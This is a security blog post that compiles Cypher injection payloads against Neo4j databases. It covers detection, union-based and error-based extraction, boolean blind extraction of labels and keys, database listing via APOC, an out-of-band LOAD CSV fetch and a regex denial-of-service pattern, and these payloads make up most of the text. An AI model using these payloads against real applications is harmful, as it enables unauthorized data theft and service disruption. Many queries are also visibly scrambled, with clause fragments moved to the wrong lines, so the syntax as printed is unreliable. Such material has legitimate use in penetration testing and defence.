Neo4j (Cypher graph query language) injection
I recently came across an injection issue in an app using the Neo4j database for storage. As I had not come across this before and there doesn’t seem to be many posts covering this I thought I would compile a list of syntax that can accomplish most of the common tasks when exploiting query based injection. I used the free sandbox from Neo4j to test these: https://sandbox.neo4j.com/
A simple query should look something like this:
:Movie {title: 'Johnny Mnemonic'}) RETURN a MATCH (a
or
:Movie) WHERE a.title = "Johnny Mnemonic" RETURN a MATCH (a
or
:Movie) RETURN a LIMIT 20 MATCH (a
or
:Movie) RETURN a ORDER BY title MATCH (a
Detection
Detection of a vulnerable Neo4j query is mostly similar to detecting SQL injection, try using any of the following payloads in the example queries above:
- ’
- "
- )
- int-int (ie: 12-1)
- int/0 (ie: 12/0)
- prepend a string like
zxlck.
Payload Johnny 'Mnemonic
:
:Movie {title: 'Johnny 'Mnemonic'})
MATCH (aRETURN a
Yields the following:
'Mnemonic': expected
Invalid input ...
1, column 33 (offset: 32))
(line "MATCH (a:Movie {title: 'Johnny 'Mnemonic'})"
Exploitation
We can inject the necesary characters to form valid syntax '})
and then comment out the rest with //
. Payload Johnny '}) //
yields no error or matches:
:Movie {title: 'Johnny '}) //Mnemonic'})
MATCH (aRETURN a
List tables:
return distinct labels(a) match(a)
Injectable:
:Movie) where n.title = "abc injectect" return 123 as b union match (a) return distinct labels(a) as b // MATCH (n
Select databases:
CALL apoc.systemdb.execute('SHOW DATABASES') YIELD row RETURN row.name as dbName;
seems injectable:
where 1 < 2 CALL apoc.systemdb.execute('SHOW DATABASES') YIELD row RETURN row.name as dbName;
match (a)
where "a" = "b" return "a" as dbName union CALL apoc.systemdb.execute('SHOW DATABASES') YIELD row RETURN row.name as dbName limit 1;
match (a)
where "a" = "b" return "a" as dbName union CALL apoc.systemdb.execute('SHOW DATABASES') YIELD row RETURN date(row.name) as dbName skip 2 limit 1; match (a)
Union
Like other database injection techniques we can also do union:
:Movie) RETURN n LIMIT 25 union all match (b:sysinfo) return b MATCH (n
With union both sides must match, which can be solved by inject a fixed return before the union:
:Person) where b.name = '' return size("123") as test union match (a:Movie) return size(keys(a)[2]) as test limit 1 match (b
Error based injection
If error messages are enabled, most data can simply be dumped out by placing it inside the Date()
function as it will fail to convert it to a date and error out the argument it received instead:
:Movie)
MATCH (aRETURN a ORDER BY a.title,Date(keys(a))
Blind exploitation
Neo4j does not have a time/sleep function, but we can still perform boolean blind injections Number of columns:
return size(keys(a)) limit 1 match (a)
Length of column:
where a.title = '' or 4 = size('1234') return a limit 1 match (a)
Length of first column:
return size(keys(a)[0]) limit 1 match (a)
Length of table name:
:Person) where b.name = '' return size("123") as test union match (a) return size(keys(a)) as test limit 1 match (b
If condition:
:Movie) return a order by case 'a' when 'b' then a.title else a.name end match (a
Substring/Char:
where a.title = 'injected' return 1 as test union match (b:Person) return substring(keys(b)[0],0,1) as test//' match (a)
Putting it together:
where a.title = 'injected' return 1 as test union match (b:Person) return case substring(keys(b)[0],0,1) when "a" then 2 else 3 end as test//'
match (a)
match (a) where a.title = 'injected' return 1 as test union match (b:Person) return case substring(keys(b)[0],0,1) when "n" then 2 else 3 end as test//'
where a.title = 'injected' return 1 as test union match (b:Person) return case size(keys(b)[0]) when 1 then 2 else 3 end as test//'
match (a)
match (a) where a.title = 'injected' return 1 as test union match (b:Person) return case size(keys(b)[0]) when 4 then 2 else 3 end as test//'
OOB
This appears to be the best documented technique, I didn’t spot any easy way to exfil data or environment variables and it does not appear to relay NTLM, but I didn’t investigate that deeply.
FROM 'https://domain/file.csv' AS line
LOAD CSV CREATE (:Artist {name: line[1], year: toInteger(line[2])})
Regex DoS?
Bonus issue, it may or may not work:
MATCH (p)WHERE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.....AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" =~ '(..\*)*'
RETURN "pwnt"